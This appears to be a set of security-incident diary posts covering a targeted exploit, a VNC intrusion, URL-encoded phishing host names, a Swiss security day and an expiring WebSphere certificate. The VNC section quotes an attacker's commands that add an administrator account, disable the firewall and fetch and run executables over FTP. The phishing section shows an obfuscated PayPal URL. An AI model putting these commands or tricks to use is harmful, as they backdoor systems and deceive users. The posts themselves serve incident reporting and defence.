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In reaction to this reporting we've seen people react to it like it were a widespread thing. We need to stress this is not the case. This kind of attack is new, and so must the response be.
The group originating these attacks does so in a very targeted fashion. The document is crafted to target a specific organization, containing specific elements that deal with just that one organization. If you don't work for them, you are very unlikely to ever see this. Proof of how rare it is, are the number of requests for samples we got from companies like anti-virus vendors.
Chances are really huge you're not targeted, at least not by this exploit. There is so far one group doing (at least) one very targeted attacks with this. Either they need to change their method of operation to do widespread attacks, or some other group would need to get a sample, reverse engineer it, find the core of the exploit, modify it to work in a wider fashion and launch a new attack.
So do you need to dig in now? Most likely not, we suggest you act as if it's any new vulnerability where the details are still very well hidden.
Panic and blindly taking actions is probably the worst course of action you can take.
Many thanks to all handlers active on this: Johannes, Chris, William, Adrien.
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Dear Network Administrator.
Please do not be alarmed.
My team is network security specialist.
You are using a vulnerable version of VNC.
Please upgrade your version soon.
We have not accessed your data but we could have.
Have a nice day
net user [user] [pass] /ADD
net localgroup Administrators [user] /ADD
net stop sharedaccess
sc delete sharedaccess
echo open [IP] [port] > ftptmp
echo user [ftpuserinfo] >> ftptmp
echo get usercontrol.exe >> ftptmp
echo get helpservice.svc >> ftptmp
echo get JAcheck.ini >> ftptmp
echo get JAcheck.dll >> ftptmp
echo bye >> ftptmp
ftp -n -s:ftptmp
del ftptmp
usercontrol /i
net start "ms system service"
cd %WINDIR%\system32
echo open [IP] [PORT] >>ms32
echo [user] >>ms32
echo [pass] >>ms32
echo get pack.exe>>ms32
echo get Iass.exe>>ms32
echo get mssd.ini>>ms32
echo get fport.exe>>ms32
echo get op.exe>>ms32
echo get pskill.exe>>ms32
echo bye>>ms32
ftp -v -s:ms32
Iass.exe /I
ipconfig
net start dnsd
pack.exe
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www.paypal.com%20cgi-bin%20...(more )...example.com
This method appears to be used for a while, but I guess we missed it among all the phishing going on these days. Upon further investigation, we found that some browsers allow URL encoded host names. The impact is similar to the old (no longer working) method of using the "username:password@url" notation. So the impact is not "huge", but its yet another trick in the phishing arsenal.
Theoretically, a host name should only contain letters A-Z, numbers 0-9 and dashes (-). In order to support foreign character sets, "IDN" is used with uses that same set of characters to encode. For domain names, this is enforced by the registrars, but host names for existing domains are up to the user, and DNS servers typically allow "anything" (after all, DNS can be used for other things then host names).
We found that Internet Explorer, Safari and to some extend Opera will accept URL encoded host names and redirect to the "decoded" version. Further, they will allow spaces as part of host names. This is used by phishers to obfuscate URLs.
Explorer and Opera will accept the URL encoded host name, and redirect to it. But once you arrive at the page, the URL bar will show the URL in clear text.
Safari does accept URL encoded host names as well, but will NOT decode it as you arrive at the destination page.
Firefox refuses to use URL encoded host names.
Simple sample to test (not clickable, copy&paste):
http://www.paypal.com%20cgi-bin%20webscr%64%73%68%69%65%6c%64.%63%6f%6d
or try a host name with space vs. without (less of an issue as you would have to control DNS for the domain to use it)
http://www .securewebbank.com (vs. http://www.securewebbank.com )
URL encoding is only supposed to be used after the host name to encode the file name and the GET parameters.
Suggested defenses:
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We all know Swiss neutrality, army knifes, cheese, banks, but even inhabitants of Switserland might be surprised that today was the Swiss Security Day. If you speak French, German or Italian, check out http://www.swisssecurityday.ch/.
Some intersting stuff I found was (all my very liberal translation)
I'm sure other countries have similar days, but I was most impressed by their schoolnetguide, a pity it's not available in English.
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IBM's WebSphere versions 4.0 and 5.0 contain a certificate that will expire in a few hours. The exact time of expiration is 18 May 2006 at 21:59:19 GMT. So you have little time left if you need still to act on it.
For more detailed information check out the IBM support page.
This actually is a consistent problem with many solutions that use certificates: They expire, for good reason, but it makes you vulnerable should the vendor decide not to support you with a new cert or go somehow belly up. (IBM seems to be doing the right thing so far). Trying to get an escrow on it might prove to be very hard.
A good way to deal with this is to create and maintain an inventory of when what cvertificate expires. That way you can plan against these dates.
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Swa Frantzen -- Section 66
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